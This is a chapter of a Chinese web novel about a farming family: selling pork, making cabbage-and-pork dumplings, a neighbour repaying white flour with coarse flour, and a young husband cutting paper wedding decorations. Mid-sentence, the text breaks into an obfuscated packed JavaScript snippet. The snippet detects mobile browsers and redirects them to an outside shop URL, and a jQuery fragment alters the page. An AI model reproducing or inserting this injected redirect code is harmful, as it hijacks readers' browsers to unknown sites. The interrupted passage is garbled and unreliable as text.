从前冻习惯了,到了冬天手上长冻疮或者脸上皴了都是常事,如今有了面脂,再加上住得暖穿的衣服也厚实,冬天再也不似曾经那般难熬了。 白天屋里没什么人,方夏将炭火盆扣上,就又出去了。 场院里,李远山刚送走几个来买猪肉的妇人,方夏便从院里走出来。 “给我也割三斤肉,要五花的。” “这两日五花肉贵些,一斤要二十五文。”李远山看着方夏,一本正经地道。 方夏惊讶地睁着眼睛奇道:“同我你都要收钱?” “是啊,亲兄弟明算账,亲夫夫也是一样的。”李远山笑着说。 两人脸对脸噗嗤一声笑了,李远山麻利地切下来三斤多的五花肉递给方夏,看着夫郎生动的笑颜,他迅速凑过去贴了一下人的脸。 “抹了面脂?” “嗯,刚收拾完抹的。”方夏道。 “你记得每日都要抹,用完了我再去买。”李远山叮嘱道。 “好,我知道的。” 看见有几个妇人夫郎相携而来要割肉,方夏也不在这待着,拎起来肉就又进院子里了。 灶房里,周秀娘卤好了熟肉正要和面,见方夏拎着肉进来便问:“夏哥儿,咱们今日吃什么馅的饺子?” “娘,要不吃茴子白肉馅的?”方夏将肉放到砧板上,预备剁肉馅。 “好!那就吃茴子白馅的。” 说着就喊人去后院地窖,让取个大些的茴子白来包饺子。 今日要吃纯白面的饺子,要包的小一点才好,不能像莜面饺子那般拳头大,因此一家人没活儿干的都挤在灶房里帮忙,剁肉剁菜的交给力气大的汉子,方夏和周秀娘一起和面揉面。 等肉和菜都剁得碎碎的,就开始拌馅了,方夏调馅的手艺好,周秀娘便让他去弄,自己则在一旁打下手。 正忙碌着,一个个子矮小、尖嘴猴腮的老太太端着碗走了进来,正是东边的徐老太。 徐老太慢悠悠走进院子,尖细的声音响起:“李家的你在不?前几日我儿媳妇借了你家的面,这不是我赶紧地给你还来了。” 周秀娘在围裙上擦擦手,迎出去道:“在的,着什么急呢?” “哎呀哎呀,米面精贵着呢,我这可不就着急给你们!”说着将怀里的碗递到周秀娘眼皮底下。 小小的一个碗里,一碗杂合面还没装满,周秀娘接过碗看了看,也没说话,扭头进了灶房将面倒进装面的口袋里。 李青梅看见了,疑惑地抬头问:“娘,咋不是白……” 周秀娘一抬眼,示意小女儿别说话,李青梅瞬间闭上了嘴巴,那剩下的一个“面”字也被咽回肚子里去了。 院子里又有人喊:“她李嫂子,我家发了豆芽菜,给你送些过来。” 徐老太接过碗,阴阳怪气地道:“到底关系不一样呢,我先回了,你们慢慢聊着。” 周秀娘拉住正准备上前分辩几句的陈家夫郎,摇摇头让人先等等,自己先将徐老太送出门去。 “你同她有什么可说的呢?”周秀娘送完人回来,拉着陈家夫郎进里屋坐下,“咱们还不晓得她是什么样的人吗?一个巷子里住这么些年了,面子上能过去就行了。” “唉,李嫂子说的是。”陈家夫郎应着,又道:“今日过来,是想请远山家夫郎帮着剪些新媳妇屋里贴的剪纸,嫂子你看,红纸我都预备好了。” “我这就喊夏哥儿来!”说着周秀娘就要起身去灶房喊方夏,出门的功夫又被陈家夫郎将一大包豆芽菜塞到怀里。 “家里现发的豆芽菜,正好你们今日拌菜吃。” 周秀娘也不推辞,笑眯眯地拿着菜去了灶房,正好今日做个拌三样儿。放好豆芽后,又取了钱嘱咐李青梅去端个豆腐回来,中午再做个豆腐汤。 不大一会儿功夫,方夏同周秀娘就进屋里来了,这几个月方夏偶尔会帮着李远山看摊子,出来进去走动着,附近住的邻居都认全了。 “陈阿嬷。”方夏笑着同人点头问好。 “哎哎,”陈家夫郎热情地应着声,又朝周秀娘接着说,“好嫂子,你家儿夫郎这么好,看得我都眼红!人长得俊俏不说,还会剪纸的手艺!” 周秀娘呵呵笑着回:“眼红个啥?再过几天你们也是要迎儿媳妇的。” 两人又寒暄几句,方夏便问需要什么花样子,陈家夫郎拉着他的手,拍了拍道:“除了双囍字,其余的喜庆些就好,阿嬷也不懂这些,你看着剪就成。” 方夏将一沓子红纸拿回自己屋里,预备着等下午空闲了再剪,就又回到灶房忙碌。 陈家夫郎走到场院,叮嘱正在卖猪肉的李远山给留一整头猪,待他们家娶亲时摆席面用,李远山自然爽快答应下来。 周秀娘送走了陈家夫郎,也回到灶房跟着包饺子,一家人擀皮的擀皮,包饺子的包饺子,哪怕汉子们包的不好看也不打紧,等到快中午时足足包了有五个盖帘的饺子。 方夏端着两个盖帘先去下饺子,其余的今日吃不完,就拿到院子里冻上,等过几日吃也行。 周秀娘用豆芽菜、粉条和胡萝卜丝做了拌三丝,又拿豆腐、鸡蛋和木耳打了个热热的汤。 李青梅买了豆腐回来便蹲在灶房角落剥蒜,一会儿要打一个蒜醋汁,好蘸饺子吃。 她边剥蒜边嘴里念叨着:“娘,明明前些日子青青嫂子借的是白面,咋还回来的是杂合面?你忘了?” 灶房里的几个人纷纷点头,李晓山也插嘴道:“就是!一看那斤两就不够,那一小碗怕是不到一斤的吧!” 周秀娘摆摆手说道:“娘没忘,只是因为这二斤白面你要同她们闹一场吗?” 李云山赞同道:“这确实不至于,还是娘心善。” “那咱们以后不借给他们了!”李青梅气哼哼说完,低下头去接着剥蒜了。 周秀娘笑着摇摇头,又接着去擀饺子皮了。 吃饺子最是费时费力,可看着一大家子人围坐在桌边吃着热气腾腾的饺子,再辛苦也是值得的。 午后没什么活儿要干,周秀娘安排家里的汉子去磨面,这些日子天儿越发冷了,家里多预备些吃的,等再冷就不用常出去了。 李青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292692|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅早早就坐到他大哥屋里炕头上,等着看剪纸了。 他们家里原先没一个会剪窗花的,往年都是去镇上买窗花贴,哪怕是像李远山成亲时,也是从镇上的铺子里买的双囍字,这剪纸可是个新奇的事物,她可得好好看看。 周秀娘收拾好了灶房,也预备过来瞅瞅,母女俩安安静静坐在炕上看方夏剪纸。 方夏盘腿坐在炕上预备剪窗花,他有些年没做这些活计,略微有些手生。 小时候阿奶时常去镇上卖剪纸窗花维持生计,他在一边看着学了不少,虽然现在拿起剪刀有些生疏,不过都是家里用,又不拿出去卖钱,剪一些简单的吉祥喜庆寓意的花样子就行。 剪纸种类繁多,寓意也丰富,只成亲时用的花样就许多种,常见的有鸳鸯戏水、鹰踏兔、蛇盘兔和瓜瓞绵绵,他阿奶手艺好,还曾剪过龙凤呈祥和并蒂莲花的图样子呢。 方夏预备剪些简单些的,窗花就剪鸳鸯戏水和瓜瓞绵绵两种样式,既简单寓意也好。 拿定主意,方夏就开始裁纸,一张红纸估摸着能剪六个窗花,除却堂屋是贴两个大双囍字窗花,其余东西两间大屋每间要贴四个窗花。 陈家没他们家屋子多,只有三间屋子,要贴的窗花就是这么多,这样有两张红纸便足够了,还有富余呢。 其余的双囍字,按照规矩家里明面上摆出来的东西都要贴上,方夏估摸着大中小各式的双囍字都剪十个,这样就足够了。 方夏本不识字,但这双囍字成亲都用得到,见多了也就认识了,他将裁好的红纸对折两次后,又把折好的竖条状的红纸来回对折了好几次,看得旁边的李青梅直喊:“夏哥哥!你折太快了,没看清!” “就你话多,悄悄地看!”旁边坐着的周秀娘轻拍闺女两下。 方夏抿嘴笑笑,说:“没事的,不吵。” “哎呀,这不是怕打扰你嘛!”周秀娘也跟着笑。 说话的这一会儿功夫,方夏拿起剪刀两三下便剪好了一个,将叠起来的红纸打开,红艳艳的双囍字就显露出来。 李青梅在旁边高兴得直拍手:“夏哥哥你真厉害!我都没看清呢,你就剪好了。” 方夏心里雀跃不已,一双手折纸剪纸不停,一来是被人夸,让他忍不住高兴;二来自己拿起剪刀时,心里盛满了喜悦,仿佛又回到了小时候那段同阿奶一起生活的时光。 他剪纸时很专注,整个人都沉浸在堆叠的红纸和一把小巧的剪刀里,甚至连李远山推门进来都没发觉。 双囍字按照不同大小也剪了三种不同的样式,有棱角是直直的正囍字,也有圆角的囍字,最大的那种方夏把囍字的四个口剪成了小灯笼状,展开之后煞是好看。 围着的几个人都看得有些呆了,从前只见过圆角的囍字,这囍字里还带着小灯笼的却是从未见过。 周秀娘小心翼翼捧着那小灯笼双囍字,叹息着:“看得我老婆子眼都花了!我夏哥儿是有真本事的人呐!” 方夏被夸得不好意思起来:“哪有娘说的那么好,就是寻常的样式。” 他抬头看见在炕边站着的李远山,忙招呼人上炕坐。 炕上摊开了不少红纸,她娘和妹妹还坐着,他一个汉子就不去凑热闹了。李远山摆摆手,自己搬过来一把椅子挨着炕边坐下,夫郎手艺精巧,他也忍不住想看看。